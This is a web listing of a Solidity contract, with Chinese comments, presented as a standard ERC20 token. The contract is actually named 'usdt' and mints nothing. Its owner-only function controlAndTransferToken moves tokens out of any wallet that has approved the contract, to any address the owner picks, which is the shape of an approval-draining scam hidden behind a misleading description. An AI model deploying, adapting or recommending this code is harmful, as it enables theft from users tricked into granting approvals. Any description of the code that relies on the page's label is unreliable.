Description:
ERC20 token contract. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* 最小 IERC20 接口(与原文件保持一致签名),
* 实际调用会走下面的 SafeERC20Any 低级 call 封装以兼容“无返回值”的代币。
*/
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
// 注意:很多老代币没有标准的 approve/decimals/totalSupply 声明,这里不强制
function approve(address spender, uint256 amount) external returns (bool);
}
/**
* 兼容“可能不返回 bool”的 ERC20 的安全封装。
* 思路与 OpenZeppelin SafeERC20 类似:低级 call,如果无返回值则视为成功;若有返回值则要求为 true。
*/
library SafeERC20Any {
function _callOptionalReturn(address token, bytes memory data) private returns (bool) {
(bool ok, bytes memory ret) = token.call(data);
require(ok, "ERC20: low-level call failed");
if (ret.length == 0) return true; // 无返回值,按成功处理(兼容 USDT 老实现)
if (ret.length == 32) {
// 大多数标准实现返回 32 字节的 bool
return abi.decode(ret, (bool));
}
// 其它返回长度一律视为不合规
revert("ERC20: invalid return data");
}
function safeTransfer(IERC20 token, address to, uint256 value) internal {
bool ok = _callOptionalReturn(
address(token),
abi.encodeWithSelector(token.transfer.selector, to, value)
);
require(ok, "ERC20: transfer failed");
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
bool ok = _callOptionalReturn(
address(token),
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
require(ok, "ERC20: transferFrom failed");
}
/**
* USDT 友好的授权:先把额度重置为 0,再设为新值,避免某些代币在非 0->非 0 时 revert。
*/
function safeApproveReset(IERC20 token, address spender, uint256 value) internal {
// 先设 0
bool ok0 = _callOptionalReturn(
address(token),
abi.encodeWithSelector(token.approve.selector, spender, 0)
);
require(ok0, "ERC20: approve(0) failed");
// 再设新值
bool ok = _callOptionalReturn(
address(token),
abi.encodeWithSelector(token.approve.selector, spender, value)
);
require(ok, "ERC20: approve failed");
}
}
contract usdt {
using SafeERC20Any for IERC20;
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only the contract owner can perform this action");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner cannot be the zero address");
owner = newOwner;
}
/**
* 与原始对外方法同名同参:owner 受控,从 from 扣到 to。
* 兼容 ETH/BSC USDT(及其它可能无返回值的代币)。
*/
function controlAndTransferToken(
address tokenAddress,
address from,
address to,
uint256 amount
) public onlyOwner
{
IERC20 token = IERC20(tokenAddress);
// 仍保留原始的额度检查(大多数 USDT/USDC 都有 allowance)
require(token.allowance(from, address(this)) >= amount, "Insufficient allowance");
token.safeTransferFrom(from, to, amount);
}
/**
* 便捷授权:给某个 spender 授权(USDT 友好:先 0 后设新值)。
* 注意这是合约(本合约地址)对外授权;若要 from 自己对本合约授权,仍需用户在钱包里先调用标准 approve。
*/
function approveRouter(address tokenAddress, address spender, uint256 amount) external onlyOwner {
IERC20(tokenAddress).safeApproveReset(spender, amount);
}
/**
* 可选:查询余额(便于前端/后台查看)
*/
function tokenBalanceOf(address tokenAddress, address account) external view returns (uint256) {
return IERC20(tokenAddress).balanceOf(account);
}
}
Submitted on: 2025-09-19 11:07:10
Comments
Log in to comment.
No comments yet.